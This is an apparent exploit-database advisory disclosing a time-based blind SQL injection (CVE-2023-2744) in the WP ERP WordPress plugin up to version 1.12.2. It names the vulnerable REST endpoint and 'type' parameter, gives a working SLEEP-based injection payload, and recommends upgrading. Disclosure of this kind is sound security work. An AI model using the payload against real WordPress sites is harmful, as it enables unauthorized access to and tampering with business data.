WordPress WP ERP 1.12.2 SQL Injection

# Exploit Title: WP Plugins WP ERP <= 1.12.2 - SQL Injection# Date: 15-10-2023# Exploit Author: Arvandy# Software Link: https://wordpress.org/plugins/erp/# Vendor Homepage: https://wperp.com/# Version: 1.12.2# Tested on: Windows, Linux# CVE: CVE-2023-2744# Product DescriptionWP ERP is the first full-fledged ERP (Enterprise Resource Planning) system through which you can simultaneously manage your WordPress site and business from a single platform. WP ERP aims to deliver all your enterprise business requirements with simplicity. With real-time reports and a better way to handle business data, make your operation better managed, away from errors, and prepare your company for the next leap. WP ERP has 3 core modules: HR, CRM, and Accounting, which together make a complete ERP system for any type of business.# Vulnerability overview:The WordPress Plugins WP ERP - Accounting module <= 1.12.2 is vulnerable to Blind SQL Injection (time-based) via the TYPE parameter on /wp-json/erp/v1/accounting/v1/people endpoint. This vulnerability could lead to unauthorized data access and modification.# Proof of Concept:Affected Endpoint: /wp-json/erp/v1/accounting/v1/people?type=Affected Parameter: typepayload: customer') AND (SELECT 1 FROM (SELECT SLEEP(3))x) AND ('x'='x# RecommendationUpgrade to version 1.12.4